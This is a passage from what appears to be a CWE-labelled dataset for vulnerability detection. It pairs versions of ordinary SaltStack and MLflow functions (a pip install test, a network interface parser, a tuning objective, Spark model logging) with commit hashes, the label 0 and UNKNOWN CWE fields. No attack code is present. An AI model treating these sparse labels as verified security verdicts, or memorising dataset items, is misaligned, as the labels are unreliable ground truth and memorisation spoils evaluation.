            expected.extend(['--editable', item])

        # Passing editables as a list
        mock = MagicMock(return_value={'retcode': 0, 'stdout': ''})
        with patch.dict(pip.__salt__, {'cmd.run_all': mock}):
            pip.install(pkgs=pkgs, editable=editables)
            mock.assert_called_once_with(
                expected,
                saltenv='base',
                runas=None,
                use_vt=False,
                python_shell=False,
            )

        # Passing editables as a comma separated list
        mock = MagicMock(return_value={'retcode': 0, 'stdout': ''})
        with patch.dict(pip.__salt__, {'cmd.run_all': mock}):
            pip.install(pkgs=','.join(pkgs), editable=','.join(editables))
            mock.assert_called_once_with(
                expected,
                saltenv='base',
                runas=None,
                use_vt=False,
                python_shell=False,
            )

        # As single string (just use the first element from pkgs and editables)
        mock = MagicMock(return_value={'retcode': 0, 'stdout': ''})
        with patch.dict(pip.__salt__, {'cmd.run_all': mock}):
            pip.install(pkgs=pkgs[0], editable=editables[0])
            mock.assert_called_once_with(
                ['pip', 'install', pkgs[0], '--editable', editables[0]],
                saltenv='base',
                runas=None,
                use_vt=False,
                python_shell=False,
            )",,saltstack/salt,883adbbe76fc06c77f2aa880837a14ddbf2ff237,"def test_install_multiple_pkgs_and_editables(self):
        pkgs = ['pep8', 'salt']
        editables = [
            'git+https://github.com/jek/blinker.git#egg=Blinker',
            'git+https://github.com/saltstack/salt-testing.git#egg=SaltTesting'
        ]

        expected = ['pip', 'install'] + pkgs
        for item in editables:
            expected.extend(['--editable', item])

        # Passing editables as a list
        mock = MagicMock(return_value={'retcode': 0, 'stdout': ''})
        with patch.dict(pip.__salt__, {'cmd.run_all': mock}):
            pip.install(pkgs=pkgs, editable=editables)
            mock.assert_called_once_with(
                expected,
                saltenv='base',
                runas=None,
                use_vt=False,
                python_shell=False,
            )

        # Passing editables as a comma separated list
        mock = MagicMock(return_value={'retcode': 0, 'stdout': ''})
        with patch.dict(pip.__salt__, {'cmd.run_all': mock}):
            pip.install(pkgs=','.join(pkgs), editable=','.join(editables))
            mock.assert_called_once_with(
                expected,
                saltenv='base',
                runas=None,
                use_vt=False,
                python_shell=False,
            )

        # As single string (just use the first element from pkgs and editables)
        mock = MagicMock(return_value={'retcode': 0, 'stdout': ''})
        with patch.dict(pip.__salt__, {'cmd.run_all': mock}):
            pip.install(pkgs=pkgs[0], editable=editables[0])
            mock.assert_called_once_with(
                ['pip', 'install', pkgs[0], '--editable', editables[0]],
                saltenv='base',
                runas=None,
                use_vt=False,
                python_shell=False,
            )"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/modules/suse_ip.py,0,"def _parse_settings_eth(opts, iface_type, enabled, iface):
    """"""
    Filters given options and outputs valid settings for a
    network interface.
    """"""
    result = {""name"": iface}
    if ""proto"" in opts:
        valid = [
            ""static"",
            ""dhcp"",
            ""dhcp4"",
            ""dhcp6"",
            ""autoip"",
            ""dhcp+autoip"",
            ""auto6"",
            ""6to4"",
            ""none"",
        ]
        if opts[""proto""] in valid:
            result[""proto""] = opts[""proto""]
        else:
            _raise_error_iface(iface, opts[""proto""], valid)

    if ""mtu"" in opts:
        try:
            result[""mtu""] = int(opts[""mtu""])
        except ValueError:
            _raise_error_iface(iface, ""mtu"", [""integer""])

    if ""hwaddr"" in opts and ""macaddr"" in opts:
        msg = ""Cannot pass both hwaddr and macaddr. Must use either hwaddr or macaddr""
        log.error(msg)
        raise AttributeError(msg)

    if iface_type not in (""bridge"",):
        ethtool = _parse_ethtool_opts(opts, iface)
        if ethtool:
            result[""ethtool""] = "" "".join(
                [""{} {}"".format(x, y) for x, y in ethtool.items()]
            )

    if iface_type == ""slave"":
        result[""proto""] = ""none""

    if iface_type == ""bond"":
        if ""mode"" not in opts:
            msg = ""Missing required option 'mode'""
            log.error(""%s for bond interface '%s'"", msg, iface)
            raise AttributeError(msg)
        bonding = _parse_settings_bond(opts, iface)
        if bonding:
            result[""bonding""] = "" "".join(
                [""{}={}"".format(x, y) for x, y in bonding.items()]
            )
            result[""devtype""] = ""Bond""
            if ""slaves"" in opts:
                if isinstance(opts[""slaves""], list):
                    result[""slaves""] = opts[""slaves""]
                else:
                    result[""slaves""] = opts[""slaves""].split()

    if iface_type == ""vlan"":
        vlan = _parse_settings_vlan(opts, iface)
        if vlan:
            result[""devtype""] = ""Vlan""
            for opt in vlan:
                result[opt] = opts[opt]

    if iface_type == ""eth"":
        result[""devtype""] = ""Ethernet""

    if iface_type == ""bridge"":
        result[""devtype""] = ""Bridge""
        bypassfirewall = True
        valid = _CONFIG_TRUE + _CONFIG_FALSE
        for opt in (""bypassfirewall"",):
            if opt in opts:
                if opts[opt] in _CONFIG_TRUE:
                    bypassfirewall = True
                elif opts[opt] in _CONFIG_FALSE:
                    bypassfirewall = False
                else:
                    _raise_error_iface(iface, opts[opt], valid)

        bridgectls = [
            ""net.bridge.bridge-nf-call-ip6tables"",
            ""net.bridge.bridge-nf-call-iptables"",
            ""net.bridge.bridge-nf-call-arptables"",
        ]

        if bypassfirewall:
            sysctl_value = 0
        else:
            sysctl_value = 1

        for sysctl in bridgectls:
            try:
                __salt__[""sysctl.persist""](sysctl, sysctl_value)
            except CommandExecutionError:
                log.warning(""Failed to set sysctl: %s"", sysctl)

    else:
        if ""bridge"" in opts:
            result[""bridge""] = opts[""bridge""]

    if iface_type == ""ipip"":
        result[""devtype""] = ""IPIP""
        for opt in (""my_inner_ipaddr"", ""my_outer_ipaddr""):
            if opt not in opts:
                _raise_error_iface(iface, opt, ""1.2.3.4"")
            else:
                result[opt] = opts[opt]
    if iface_type == ""ib"":
        result[""devtype""] = ""InfiniBand""

    if ""prefix"" in opts:
        if ""netmask"" in opts:
            msg = ""Cannot use prefix and netmask together""
            log.error(msg)
            raise AttributeError(msg)
        result[""prefix""] = opts[""prefix""]
    elif ""netmask"" in opts:
        result[""netmask""] = opts[""netmask""]

    for opt in (
        ""ipaddr"",
        ""master"",
        ""srcaddr"",
        ""delay"",
        ""domain"",
        ""gateway"",
        ""uuid"",
        ""nickname"",
        ""zone"",
    ):
        if opt in opts:
            result[opt] = opts[opt]

    if ""ipaddrs"" in opts or ""ipv6addr"" in opts or ""ipv6addrs"" in opts:
        result[""ipaddrs""] = []
    if ""ipaddrs"" in opts:
        for opt in opts[""ipaddrs""]:
            if salt.utils.validate.net.ipv4_addr(
                opt
            ) or salt.utils.validate.net.ipv6_addr(opt):
                result[""ipaddrs""].append(opt)
            else:
                msg = ""{} is invalid ipv4 or ipv6 CIDR"".format(opt)
                log.error(msg)
                raise AttributeError(msg)
    if ""ipv6addr"" in opts:
        if salt.utils.validate.net.ipv6_addr(opts[""ipv6addr""]):
            result[""ipaddrs""].append(opts[""ipv6addr""])
        else:
            msg = ""{} is invalid ipv6 CIDR"".format(opt)
            log.error(msg)
            raise AttributeError(msg)
    if ""ipv6addrs"" in opts:
        for opt in opts[""ipv6addrs""]:
            if salt.utils.validate.net.ipv6_addr(opt):
                result[""ipaddrs""].append(opt)
            else:
                msg = ""{} is invalid ipv6 CIDR"".format(opt)
                log.error(msg)
                raise AttributeError(msg)

    if ""enable_ipv6"" in opts:
        result[""enable_ipv6""] = opts[""enable_ipv6""]

    valid = _CONFIG_TRUE + _CONFIG_FALSE
    for opt in (
        ""onparent"",
        ""peerdns"",
        ""peerroutes"",
        ""slave"",
        ""vlan"",
        ""defroute"",
        ""stp"",
        ""ipv6_peerdns"",
        ""ipv6_defroute"",
        ""ipv6_peerroutes"",
        ""ipv6_autoconf"",
        ""ipv4_failure_fatal"",
        ""dhcpv6c"",
    ):
        if opt in opts:
            if opts[opt] in _CONFIG_TRUE:
                result[opt] = ""yes""
            elif opts[opt] in _CONFIG_FALSE:
                result[opt] = ""no""
            else:
                _raise_error_iface(iface, opts[opt], valid)

    if ""onboot"" in opts:
        log.warning(
            ""The 'onboot' option is controlled by the 'enabled' option. ""
            ""Interface: %s Enabled: %s"",
            iface,
            enabled,
        )

    if ""startmode"" in opts:
        valid = (""manual"", ""auto"", ""nfsroot"", ""hotplug"", ""off"")
        if opts[""startmode""] in valid:
            result[""startmode""] = opts[""startmode""]
        else:
            _raise_error_iface(iface, opts[""startmode""], valid)
    else:
        if enabled:
            result[""startmode""] = ""auto""
        else:
            result[""startmode""] = ""off""

    # This vlan is in opts, and should be only used in range interface
    # will affect jinja template for interface generating
    if ""vlan"" in opts:
        if opts[""vlan""] in _CONFIG_TRUE:
            result[""vlan""] = ""yes""
        elif opts[""vlan""] in _CONFIG_FALSE:
            result[""vlan""] = ""no""
        else:
            _raise_error_iface(iface, opts[""vlan""], valid)

    if ""arpcheck"" in opts:
        if opts[""arpcheck""] in _CONFIG_FALSE:
            result[""arpcheck""] = ""no""

    if ""ipaddr_start"" in opts:
        result[""ipaddr_start""] = opts[""ipaddr_start""]

    if ""ipaddr_end"" in opts:
        result[""ipaddr_end""] = opts[""ipaddr_end""]

    if ""clonenum_start"" in opts:
        result[""clonenum_start""] = opts[""clonenum_start""]

    if ""hwaddr"" in opts:
        result[""hwaddr""] = opts[""hwaddr""]

    if ""macaddr"" in opts:
        result[""macaddr""] = opts[""macaddr""]

    # If NetworkManager is available, we can control whether we use
    # it or not
    if ""nm_controlled"" in opts:
        if opts[""nm_controlled""] in _CONFIG_TRUE:
            result[""nm_controlled""] = ""yes""
        elif opts[""nm_controlled""] in _CONFIG_FALSE:
            result[""nm_controlled""] = ""no""
        else:
            _raise_error_iface(iface, opts[""nm_controlled""], valid)
    else:
        result[""nm_controlled""] = ""no""

    return result",,saltstack/salt,480d0ca72b87579f0eea203ecf933adb3ecf9a89,"def _parse_settings_eth(opts, iface_type, enabled, iface):
    """"""
    Filters given options and outputs valid settings for a
    network interface.
    """"""
    result = {""name"": iface}
    if ""proto"" in opts:
        valid = [""static"", ""dhcp"", ""dhcp4"", ""dhcp6"", ""autoip"",
                 ""dhcp+autoip"", ""auto6"", ""6to4"", ""none""]
        if opts[""proto""] in valid:
            result[""proto""] = opts[""proto""]
        else:
            _raise_error_iface(iface, opts[""proto""], valid)

    if ""mtu"" in opts:
        try:
            result[""mtu""] = int(opts[""mtu""])
        except ValueError:
            _raise_error_iface(iface, ""mtu"", [""integer""])

    if ""hwaddr"" in opts and ""macaddr"" in opts:
        msg = ""Cannot pass both hwaddr and macaddr. Must use either hwaddr or macaddr""
        log.error(msg)
        raise AttributeError(msg)

    if iface_type not in (""bridge"",):
        ethtool = _parse_ethtool_opts(opts, iface)
        if ethtool:
            result[""ethtool""] = "" "".join(
                [""{} {}"".format(x, y) for x, y in ethtool.items()]
            )

    if iface_type == ""slave"":
        result[""proto""] = ""none""


    if iface_type == ""bond"":
        if ""mode"" not in opts:
            msg = ""Missing required option 'mode'""
            log.error(""%s for bond interface '%s'"", msg, iface)
            raise AttributeError(msg)
        bonding = _parse_settings_bond(opts, iface)
        if bonding:
            result[""bonding""] = "" "".join(
                [""{}={}"".format(x, y) for x, y in bonding.items()]
            )
            result[""devtype""] = ""Bond""
            if ""slaves"" in opts:
                if isinstance(opts[""slaves""], list):
                    result[""slaves""] = opts[""slaves""]
                else:
                    result[""slaves""] = opts[""slaves""].split()

    if iface_type == ""vlan"":
        vlan = _parse_settings_vlan(opts, iface)
        if vlan:
            result[""devtype""] = ""Vlan""
            for opt in vlan:
                result[opt] = opts[opt]

    if iface_type == ""eth"":
        result[""devtype""] = ""Ethernet""

    if iface_type == ""bridge"":
        result[""devtype""] = ""Bridge""
        bypassfirewall = True
        valid = _CONFIG_TRUE + _CONFIG_FALSE
        for opt in (""bypassfirewall"",):
            if opt in opts:
                if opts[opt] in _CONFIG_TRUE:
                    bypassfirewall = True
                elif opts[opt] in _CONFIG_FALSE:
                    bypassfirewall = False
                else:
                    _raise_error_iface(iface, opts[opt], valid)

        bridgectls = [
            ""net.bridge.bridge-nf-call-ip6tables"",
            ""net.bridge.bridge-nf-call-iptables"",
            ""net.bridge.bridge-nf-call-arptables"",
        ]

        if bypassfirewall:
            sysctl_value = 0
        else:
            sysctl_value = 1

        for sysctl in bridgectls:
            try:
                __salt__[""sysctl.persist""](sysctl, sysctl_value)
            except CommandExecutionError:
                log.warning(""Failed to set sysctl: %s"", sysctl)

    else:
        if ""bridge"" in opts:
            result[""bridge""] = opts[""bridge""]

    if iface_type == ""ipip"":
        result[""devtype""] = ""IPIP""
        for opt in (""my_inner_ipaddr"", ""my_outer_ipaddr""):
            if opt not in opts:
                _raise_error_iface(iface, opt, ""1.2.3.4"")
            else:
                result[opt] = opts[opt]
    if iface_type == ""ib"":
        result[""devtype""] = ""InfiniBand""

    if ""prefix"" in opts:
        if ""netmask"" in opts:
            msg = ""Cannot use prefix and netmask together""
            log.error(msg)
            raise AttributeError(msg)
        result[""prefix""] = opts[""prefix""]
    elif ""netmask"" in opts:
        result[""netmask""] = opts[""netmask""]

    for opt in (
        ""ipaddr"",
        ""master"",
        ""srcaddr"",
        ""delay"",
        ""domain"",
        ""gateway"",
        ""uuid"",
        ""nickname"",
        ""zone"",
    ):
        if opt in opts:
            result[opt] = opts[opt]

    if ""ipaddrs"" in opts or ""ipv6addr"" in opts or ""ipv6addrs"" in opts:
        result[""ipaddrs""] = []
    if ""ipaddrs"" in opts:
        for opt in opts[""ipaddrs""]:
            if salt.utils.validate.net.ipv4_addr(opt) or salt.utils.validate.net.ipv6_addr(opt):
                result['ipaddrs'].append(opt)
            else:
                msg = ""{} is invalid ipv4 or ipv6 CIDR"".format(opt)
                log.error(msg)
                raise AttributeError(msg)
    if ""ipv6addr"" in opts:
        if salt.utils.validate.net.ipv6_addr(opts[""ipv6addr""]):
            result['ipaddrs'].append(opts[""ipv6addr""])
        else:
            msg = ""{} is invalid ipv6 CIDR"".format(opt)
            log.error(msg)
            raise AttributeError(msg)
    if ""ipv6addrs"" in opts:
        for opt in opts[""ipv6addrs""]:
            if salt.utils.validate.net.ipv6_addr(opt):
                result['ipaddrs'].append(opt)
            else:
                msg = ""{} is invalid ipv6 CIDR"".format(opt)
                log.error(msg)
                raise AttributeError(msg)

    if ""enable_ipv6"" in opts:
        result[""enable_ipv6""] = opts[""enable_ipv6""]

    valid = _CONFIG_TRUE + _CONFIG_FALSE
    for opt in (
        ""onparent"",
        ""peerdns"",
        ""peerroutes"",
        ""slave"",
        ""vlan"",
        ""defroute"",
        ""stp"",
        ""ipv6_peerdns"",
        ""ipv6_defroute"",
        ""ipv6_peerroutes"",
        ""ipv6_autoconf"",
        ""ipv4_failure_fatal"",
        ""dhcpv6c"",
    ):
        if opt in opts:
            if opts[opt] in _CONFIG_TRUE:
                result[opt] = ""yes""
            elif opts[opt] in _CONFIG_FALSE:
                result[opt] = ""no""
            else:
                _raise_error_iface(iface, opts[opt], valid)

    if ""onboot"" in opts:
        log.warning(
            ""The 'onboot' option is controlled by the 'enabled' option. ""
            ""Interface: %s Enabled: %s"",
            iface,
            enabled,
        )

    if ""startmode"" in opts:
        valid = (""manual"", ""auto"", ""nfsroot"", ""hotplug"", ""off"")
        if opts[""startmode""] in valid:
            result[""startmode""] = opts[""startmode""]
        else:
            _raise_error_iface(iface, opts[""startmode""], valid)
    else:
        if enabled:
            result[""startmode""] = ""auto""
        else:
            result[""startmode""] = ""off""

    # This vlan is in opts, and should be only used in range interface
    # will affect jinja template for interface generating
    if ""vlan"" in opts:
        if opts[""vlan""] in _CONFIG_TRUE:
            result[""vlan""] = ""yes""
        elif opts[""vlan""] in _CONFIG_FALSE:
            result[""vlan""] = ""no""
        else:
            _raise_error_iface(iface, opts[""vlan""], valid)

    if ""arpcheck"" in opts:
        if opts[""arpcheck""] in _CONFIG_FALSE:
            result[""arpcheck""] = ""no""

    if ""ipaddr_start"" in opts:
        result[""ipaddr_start""] = opts[""ipaddr_start""]

    if ""ipaddr_end"" in opts:
        result[""ipaddr_end""] = opts[""ipaddr_end""]

    if ""clonenum_start"" in opts:
        result[""clonenum_start""] = opts[""clonenum_start""]

    if ""hwaddr"" in opts:
        result[""hwaddr""] = opts[""hwaddr""]

    if ""macaddr"" in opts:
        result[""macaddr""] = opts[""macaddr""]

    # If NetworkManager is available, we can control whether we use
    # it or not
    if ""nm_controlled"" in opts:
        if opts[""nm_controlled""] in _CONFIG_TRUE:
            result[""nm_controlled""] = ""yes""
        elif opts[""nm_controlled""] in _CONFIG_FALSE:
            result[""nm_controlled""] = ""no""
        else:
            _raise_error_iface(iface, opts[""nm_controlled""], valid)
    else:
        result[""nm_controlled""] = ""no""

    return result"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/recipes/steps/train.py,0,"def objective(X_train, y_train, validation_df, hyperparameter_args, on_worker=False):
            if on_worker:
                client = MlflowClient()
                parent_tags = client.get_run(parent_run_id).data.tags
                child_run = client.create_run(
                    _get_experiment_id(), tags={**parent_tags, ""mlflow.parentRunId"": parent_run_id}
                )
                run_args = {""run_id"": child_run.info.run_id}
            else:
                run_args = {""nested"": True}
            with mlflow.start_run(**run_args) as tuning_run:
                estimator_args = dict(estimator_hardcoded_params, **hyperparameter_args)
                estimator = estimator_fn(estimator_args)

                sample_fraction = self.step_config[""sample_fraction""]

                # if sparktrials, then read from broadcast
                if tuning_params[""parallelism""] > 1:
                    X_train = X_train.value
                    y_train = y_train.value
                    validation_df = validation_df.value

                X_train_sampled = X_train.sample(frac=sample_fraction, random_state=42)
                y_train_sampled = y_train.sample(frac=sample_fraction, random_state=42)

                estimator.fit(X_train_sampled, y_train_sampled)

                logged_estimator = self._log_estimator_to_mlflow(
                    estimator, X_train_sampled, on_worker=on_worker
                )

                eval_result = mlflow.evaluate(
                    model=logged_estimator.model_uri,
                    data=validation_df,
                    targets=self.target_col,
                    model_type=_get_model_type_from_template(self.recipe),
                    evaluators=""default"",
                    custom_metrics=_load_custom_metrics(
                        self.recipe_root,
                        self.evaluation_metrics.values(),
                    ),
                    evaluator_config={
                        ""log_model_explainability"": False,
                        ""pos_label"": self.positive_class,
                    },
                )
                autologged_params = mlflow.get_run(run_id=tuning_run.info.run_id).data.params
                manual_log_params = {}
                for param_name, param_value in estimator_args.items():
                    if param_name in autologged_params:
                        if not TrainStep.is_tuning_param_equal(
                            param_value, autologged_params[param_name]
                        ):
                            _logger.warning(
                                f""Failed to log search space parameter due to conflict. ""
                                f""Attempted to log search space parameter {param_name} as ""
                                f""{param_value}, but {param_name} is already logged as ""
                                f""{autologged_params[param_name]} during training. ""
                                f""Are you passing `estimator_params` properly to the ""
                                f"" estimator?""
                            )
                    else:
                        manual_log_params[param_name] = param_value

                if len(manual_log_params) > 0:
                    mlflow.log_params(manual_log_params)

                # return +/- metric
                sign = -1 if self.evaluation_metrics_greater_is_better[self.primary_metric] else 1
                return sign * eval_result.metrics[self.primary_metric]",,mlflow/mlflow,1a1047cb2960cea94945528469022aeb0a80e607,"def objective(X_train, y_train, validation_df, hyperparameter_args, on_worker=False):
            if on_worker:
                client = MlflowClient()
                parent_tags = client.get_run(parent_run_id).data.tags
                child_run = client.create_run(
                    _get_experiment_id(), tags={**parent_tags, ""mlflow.parentRunId"": parent_run_id}
                )
                run_args = {""run_id"": child_run.info.run_id}
            else:
                run_args = {""nested"": True}
            with mlflow.start_run(**run_args) as tuning_run:
                estimator_args = dict(estimator_hardcoded_params, **hyperparameter_args)
                estimator = estimator_fn(estimator_args)

                sample_fraction = self.step_config[""sample_fraction""]

                # if sparktrials, then read from broadcast
                if tuning_params[""parallelism""] > 1:
                    X_train = X_train.value
                    y_train = y_train.value
                    validation_df = validation_df.value

                X_train_sampled = X_train.sample(frac=sample_fraction, random_state=42)
                y_train_sampled = y_train.sample(frac=sample_fraction, random_state=42)

                estimator.fit(X_train_sampled, y_train_sampled)

                logged_estimator = self._log_estimator_to_mlflow(
                    estimator, X_train_sampled, on_worker=on_worker
                )

                eval_result = mlflow.evaluate(
                    model=logged_estimator.model_uri,
                    data=validation_df,
                    targets=self.target_col,
                    model_type=""regressor"",
                    evaluators=""default"",
                    custom_metrics=_load_custom_metrics(
                        self.recipe_root,
                        self.evaluation_metrics.values(),
                    ),
                    evaluator_config={
                        ""log_model_explainability"": False,
                    },
                )
                autologged_params = mlflow.get_run(run_id=tuning_run.info.run_id).data.params
                manual_log_params = {}
                for param_name, param_value in estimator_args.items():
                    if param_name in autologged_params:
                        if not TrainStep.is_tuning_param_equal(
                            param_value, autologged_params[param_name]
                        ):
                            _logger.warning(
                                f""Failed to log search space parameter due to conflict. ""
                                f""Attempted to log search space parameter {param_name} as ""
                                f""{param_value}, but {param_name} is already logged as ""
                                f""{autologged_params[param_name]} during training. ""
                                f""Are you passing `estimator_params` properly to the ""
                                f"" estimator?""
                            )
                    else:
                        manual_log_params[param_name] = param_value

                if len(manual_log_params) > 0:
                    mlflow.log_params(manual_log_params)

                # return +/- metric
                sign = -1 if self.evaluation_metrics_greater_is_better[self.primary_metric] else 1
                return sign * eval_result.metrics[self.primary_metric]"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/spark.py,0,"def log_model(spark_model, artifact_path, conda_env=None, dfs_tmpdir=None,
              sample_input=None, registered_model_name=None,
              signature: ModelSignature=None, input_example: ModelInputExample=None):
    """"""
    Log a Spark MLlib model as an MLflow artifact for the current run. This uses the
    MLlib persistence format and produces an MLflow Model with the Spark flavor.

    Note: If no run is active, it will instantiate a run to obtain a run_id.

    :param spark_model: Spark model to be saved - MLflow can only save descendants of
                        pyspark.ml.Model which implement MLReadable and MLWritable.
    :param artifact_path: Run relative artifact path.
    :param conda_env: Either a dictionary representation of a Conda environment or the path to a
                      Conda environment yaml file. If provided, this decsribes the environment
                      this model should be run in. At minimum, it should specify the dependencies
                      contained in :func:`get_default_conda_env()`. If `None`, the default
                      :func:`get_default_conda_env()` environment is added to the model.
                      The following is an *example* dictionary representation of a Conda
                      environment::

                        {
                            'name': 'mlflow-env',
                            'channels': ['defaults'],
                            'dependencies': [
                                'python=3.7.0',
                                'pyspark=2.3.0'
                            ]
                        }
    :param dfs_tmpdir: Temporary directory path on Distributed (Hadoop) File System (DFS) or local
                       filesystem if running in local mode. The model is written in this
                       destination and then copied into the model's artifact directory. This is
                       necessary as Spark ML models read from and write to DFS if running on a
                       cluster. If this operation completes successfully, all temporary files
                       created on the DFS are removed. Defaults to ``/tmp/mlflow``.
    :param sample_input: A sample input used to add the MLeap flavor to the model.
                         This must be a PySpark DataFrame that the model can evaluate. If
                         ``sample_input`` is ``None``, the MLeap flavor is not added.
    :param registered_model_name: (Experimental) If given, create a model version under
                                  ``registered_model_name``, also creating a registered model if one
                                  with the given name does not exist.

    :param signature: (Experimental) :py:class:`ModelSignature <mlflow.models.ModelSignature>`
                      describes model input and output :py:class:`Schema <mlflow.types.Schema>`.
                      The model signature can be :py:func:`inferred <mlflow.models.infer_signature>`
                      from datasets with valid model input (e.g. the training dataset with target
                      column omitted) and valid model output (e.g. model predictions generated on
                      the training dataset), for example:

                      .. code-block:: python

                        from mlflow.models.signature import infer_signature
                        train = df.drop_column(""target_label"")
                        predictions = ... # compute model predictions
                        signature = infer_signature(train, predictions)
    :param input_example: (Experimental) Input example provides one or several instances of valid
                          model input. The example can be used as a hint of what data to feed the
                          model. The given example will be converted to a Pandas DataFrame and then
                          serialized to json using the Pandas split-oriented format. Bytes are
                          base64-encoded.



    .. code-block:: python
        :caption: Example

        from pyspark.ml import Pipeline
        from pyspark.ml.classification import LogisticRegression
        from pyspark.ml.feature import HashingTF, Tokenizer
        training = spark.createDataFrame([
            (0, ""a b c d e spark"", 1.0),
            (1, ""b d"", 0.0),
            (2, ""spark f g h"", 1.0),
            (3, ""hadoop mapreduce"", 0.0) ], [""id"", ""text"", ""label""])
        tokenizer = Tokenizer(inputCol=""text"", outputCol=""words"")
        hashingTF = HashingTF(inputCol=tokenizer.getOutputCol(), outputCol=""features"")
        lr = LogisticRegression(maxIter=10, regParam=0.001)
        pipeline = Pipeline(stages=[tokenizer, hashingTF, lr])
        model = pipeline.fit(training)
        mlflow.spark.log_model(model, ""spark-model"")
    """"""
    from py4j.protocol import Py4JJavaError

    _validate_model(spark_model)
    from pyspark.ml import PipelineModel
    if not isinstance(spark_model, PipelineModel):
        spark_model = PipelineModel([spark_model])
    run_id = mlflow.tracking.fluent._get_or_start_run().info.run_id
    run_root_artifact_uri = mlflow.get_artifact_uri()
    # If the artifact URI is a local filesystem path, defer to Model.log() to persist the model,
    # since Spark may not be able to write directly to the driver's filesystem. For example,
    # writing to `file:/uri` will write to the local filesystem from each executor, which will
    # be incorrect on multi-node clusters - to avoid such issues we just use the Model.log() path
    # here.
    if is_local_uri(run_root_artifact_uri):
        return Model.log(artifact_path=artifact_path, flavor=mlflow.spark, spark_model=spark_model,
                         conda_env=conda_env, dfs_tmpdir=dfs_tmpdir, sample_input=sample_input,
                         registered_model_name=registered_model_name,
                         signature=signature, input_example=input_example)
    # If Spark cannot write directly to the artifact repo, defer to Model.log() to persist the
    # model
    model_dir = os.path.join(run_root_artifact_uri, artifact_path)
    try:
        spark_model.save(os.path.join(model_dir, _SPARK_MODEL_PATH_SUB))
    except Py4JJavaError:
        return Model.log(artifact_path=artifact_path, flavor=mlflow.spark, spark_model=spark_model,
                         conda_env=conda_env, dfs_tmpdir=dfs_tmpdir, sample_input=sample_input,
                         registered_model_name=registered_model_name,
                         signature=signature, input_example=input_example)

    # Otherwise, override the default model log behavior and save model directly to artifact repo
    mlflow_model = Model(artifact_path=artifact_path, run_id=run_id)
    with TempDir() as tmp:
        tmp_model_metadata_dir = tmp.path()
        _save_model_metadata(
            tmp_model_metadata_dir, spark_model, mlflow_model, sample_input, conda_env,
            signature=signature, input_example=input_example)
        mlflow.tracking.fluent.log_artifacts(tmp_model_metadata_dir, artifact_path)
        if registered_model_name is not None:
            mlflow.register_model(""runs:/%s/%s"" % (run_id, artifact_path), registered_model_name)",,mlflow/mlflow,0cf86866b927a0e7a120674ec27e6b3e0bbb20d6,"def log_model(spark_model, artifact_path, conda_env=None, dfs_tmpdir=None,
              sample_input=None, registered_model_name=None,
              signature: ModelSignature=None, input_example: ModelInputExample=None):
    """"""
    Log a Spark MLlib model as an MLflow artifact for the current run. This uses the
    MLlib persistence format and produces an MLflow Model with the Spark flavor.

    Note: If no run is active, it will instantiate a run to obtain a run_id.

    :param spark_model: Spark model to be saved - MLflow can only save descendants of
                        pyspark.ml.Model which implement MLReadable and MLWritable.
    :param artifact_path: Run relative artifact path.
    :param conda_env: Either a dictionary representation of a Conda environment or the path to a
                      Conda environment yaml file. If provided, this decsribes the environment
                      this model should be run in. At minimum, it should specify the dependencies
                      contained in :func:`get_default_conda_env()`. If `None`, the default
                      :func:`get_default_conda_env()` environment is added to the model.
                      The following is an *example* dictionary representation of a Conda
                      environment::

                        {
                            'name': 'mlflow-env',
                            'channels': ['defaults'],
                            'dependencies': [
                                'python=3.7.0',
                                'pyspark=2.3.0'
                            ]
                        }
    :param dfs_tmpdir: Temporary directory path on Distributed (Hadoop) File System (DFS) or local
                       filesystem if running in local mode. The model is written in this
                       destination and then copied into the model's artifact directory. This is
                       necessary as Spark ML models read from and write to DFS if running on a
                       cluster. If this operation completes successfully, all temporary files
                       created on the DFS are removed. Defaults to ``/tmp/mlflow``.
    :param sample_input: A sample input used to add the MLeap flavor to the model.
                         This must be a PySpark DataFrame that the model can evaluate. If
                         ``sample_input`` is ``None``, the MLeap flavor is not added.
    :param registered_model_name: (Experimental) If given, create a model version under
                                  ``registered_model_name``, also creating a registered model if one
                                  with the given name does not exist.

    :param signature: (Experimental) :py:class:`ModelSignature <mlflow.models.ModelSignature>`
                      describes model input and output :py:class:`Schema <mlflow.types.Schema>`.
                      The model signature can be :py:func:`inferred <mlflow.models.infer_signature>`
                      from datasets with valid model input (e.g. the training dataset with target
                      column omitted) and valid model output (e.g. model predictions generated on
                      the training dataset), for example:

                      .. code-block:: python

                        from mlflow.models.signature import infer_signature
                        train = df.drop_column(""target_label"")
                        predictions = ... # compute model predictions
                        signature = infer_signature(train, predictions)
    :param input_example: (Experimental) Input example provides one or several instances of valid
                          model input. The example can be used as a hint of what data to feed the
                          model. The given example will be converted to a Pandas DataFrame and then
                          serialized to json using the Pandas split-oriented format. Bytes are
                          base64-encoded.



    .. code-block:: python
        :caption: Example

        from pyspark.ml import Pipeline
        from pyspark.ml.classification import LogisticRegression
        from pyspark.ml.feature import HashingTF, Tokenizer
        training = spark.createDataFrame([
            (0, ""a b c d e spark"", 1.0),
            (1, ""b d"", 0.0),
            (2, ""spark f g h"", 1.0),
            (3, ""hadoop mapreduce"", 0.0) ], [""id"", ""text"", ""label""])
        tokenizer = Tokenizer(inputCol=""text"", outputCol=""words"")
        hashingTF = HashingTF(inputCol=tokenizer.getOutputCol(), outputCol=""features"")
        lr = LogisticRegression(maxIter=10, regParam=0.001)
        pipeline = Pipeline(stages=[tokenizer, hashingTF, lr])
        model = pipeline.fit(training)
        mlflow.spark.log_model(model, ""spark-model"")
    """"""
    from py4j.protocol import Py4JJavaError

    _validate_model(spark_model)
    from pyspark.ml import PipelineModel
    if not isinstance(spark_model, PipelineModel):
        spark_model = PipelineModel([spark_model])
    run_id = mlflow.tracking.fluent._get_or_start_run().info.run_id
    run_root_artifact_uri = mlflow.get_artifact_uri()
    # If the artifact URI is a local filesystem path, defer to Model.log() to persist the model,
    # since Spark may not be able to write directly to the driver's filesystem. For example,
    # writing to `file:/uri` will write to the local filesystem from each executor, which will
    # be incorrect on multi-node clusters - to avoid such issues we just use the Model.log() path
    # here.
    if is_local_uri(run_root_artifact_uri):
        return Model.log(artifact_path=artifact_path, flavor=mlflow.spark, spark_model=spark_model,
                         conda_env=conda_env, dfs_tmpdir=dfs_tmpdir, sample_input=sample_input,
                         registered_model_name=registered_model_name)
    # If Spark cannot write directly to the artifact repo, defer to Model.log() to persist the
    # model
    model_dir = os.path.join(run_root_artifact_uri, artifact_path)
    try:
